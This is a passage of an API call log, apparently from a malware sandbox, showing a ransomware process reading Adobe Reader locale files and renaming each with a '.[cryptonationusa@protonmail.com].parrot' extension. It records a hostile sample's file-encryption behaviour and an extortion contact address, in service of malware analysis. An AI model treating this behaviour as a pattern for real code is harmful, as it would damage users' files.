lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.181] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\accessibility.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\accessibility.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\accessibility.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\accessibility.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.185] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3325b98 | out: hHeap=0x5b0000) returned 1 [0261.185] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.185] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0261.186] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.186] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.188] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.188] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x69400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x69400, lpOverlapped=0x0) returned 1 [0261.201] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.211] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Acroform.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\acroform.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Acroform.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\acroform.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3325b98 | out: hHeap=0x5b0000) returned 1 [0261.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0261.222] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.222] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.223] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.224] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0261.225] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.225] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\AdobeCollabSync.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\adobecollabsync.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\AdobeCollabSync.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\adobecollabsync.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0261.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0261.232] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.232] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.233] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.234] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7b000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7b000, lpOverlapped=0x0) returned 1 [0261.248] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.263] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Annots.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\annots.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Annots.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\annots.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.267] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333bcc8 | out: hHeap=0x5b0000) returned 1 [0261.267] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.267] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0261.272] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.272] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.273] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.273] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3800, lpOverlapped=0x0) returned 1 [0261.275] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.276] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\BRdlang32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\brdlang32.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\BRdlang32.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\brdlang32.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3325b98 | out: hHeap=0x5b0000) returned 1 [0261.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0261.282] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.282] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.283] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.283] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1f400, lpOverlapped=0x0) returned 1 [0261.288] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.293] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Checkers.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\checkers.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Checkers.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\checkers.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3325b98 | out: hHeap=0x5b0000) returned 1 [0261.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0261.345] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.345] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.347] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.347] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x21400, lpOverlapped=0x0) returned 1 [0261.354] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.357] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\DigSig.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\digsig.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\DigSig.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\digsig.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333bcc8 | out: hHeap=0x5b0000) returned 1 [0261.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0261.367] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.367] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.369] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.369] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4c00, lpOverlapped=0x0) returned 1 [0261.371] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.373] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\DVA.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\dva.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\DVA.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\dva.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.378] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333bcc8 | out: hHeap=0x5b0000) returned 1 [0261.378] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.378] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0261.380] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.380] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.392] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.392] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1c00, lpOverlapped=0x0) returned 1 [0261.393] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.393] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\eBook.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\ebook.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\eBook.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\ebook.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.397] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333bcc8 | out: hHeap=0x5b0000) returned 1 [0261.397] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.397] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0261.399] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.400] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.401] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.401] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa400, lpOverlapped=0x0) returned 1 [0261.403] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.404] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\EScript.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\escript.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\EScript.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\escript.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.407] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3325b98 | out: hHeap=0x5b0000) returned 1 [0261.407] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.408] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0261.409] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.410] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.411] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.411] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xe00, lpOverlapped=0x0) returned 1 [0261.411] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.412] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\IA32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\ia32.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\IA32.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\ia32.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.416] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333bcc8 | out: hHeap=0x5b0000) returned 1 [0261.416] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.416] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230e0b0 | out: hHeap=0x5b0000) returned 1 [0261.417] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.418] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.419] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.419] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x13600, lpOverlapped=0x0) returned 1 [0261.421] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.425] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\makeaccessible.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\makeaccessible.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\makeaccessible.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\makeaccessible.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3325b98 | out: hHeap=0x5b0000) returned 1 [0261.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0261.435] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.435] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.437] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.437] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x13e00, lpOverlapped=0x0) returned 1 [0261.442] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.445] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Multimedia.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\multimedia.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Multimedia.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\multimedia.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3325b98 | out: hHeap=0x5b0000) returned 1 [0261.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0261.455] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.455] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.457] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.457] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2c00, lpOverlapped=0x0) returned 1 [0261.458] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.459] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\pddom.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\pddom.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\pddom.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\pddom.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333bcc8 | out: hHeap=0x5b0000) returned 1 [0261.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0261.465] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.465] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.467] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 